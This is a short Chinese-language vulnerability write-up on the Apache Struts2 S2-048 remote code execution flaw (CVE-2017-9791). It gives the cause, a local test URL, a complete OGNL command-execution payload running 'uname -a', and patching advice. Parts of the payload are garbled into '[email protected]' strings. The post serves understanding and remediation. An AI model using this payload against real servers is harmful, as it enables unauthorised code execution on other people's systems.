S2-048 遠端程式碼執行漏洞檢測利用
阿新 • • 發佈:2018-12-21
2017年7月7日,ApacheStruts 釋出最新的安全公告,Apache Struts2的strus1外掛存在遠端程式碼執行的高危漏洞,漏洞編號為 CVE-2017-9791(S2-048)。攻擊者可以構造惡意的欄位值通過Struts2的struts2-struts1-plugin外掛,遠端執行程式碼。
漏洞記錄
S2-048
CVE-2017-9791
Struts 2.3.X
http://127.0.0.1:8090/struts2-showcase/integration/saveGangster.action
影響範圍非常小
漏洞檢測利用
根據官網說明,可知漏洞產生的原因是將使用者可控的值新增到 ActionMessage 並在客戶前端展示,導致其進入 getText 函式,最後 message 被當作 ognl 表示式執行所以訪問 /integration/saveGangster.action 構造payload
發現執行1+1,並顯示在螢幕上
命令執行poc
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(# [email protected]@toString(@[email protected]().exec('uname -a').getInputStream())).(#q)}
修補意見
1、臨時解決方案:通過使用 resourcekeys 替代將原始訊息直接傳遞給 ActionMessage 的方式。如下所示:
messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));
一定不要使用如下的方式
messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));
2、 無奈解決方案:不啟用struts2-struts1-plugin外掛
3、 根本解決方案:建議升級到最新版本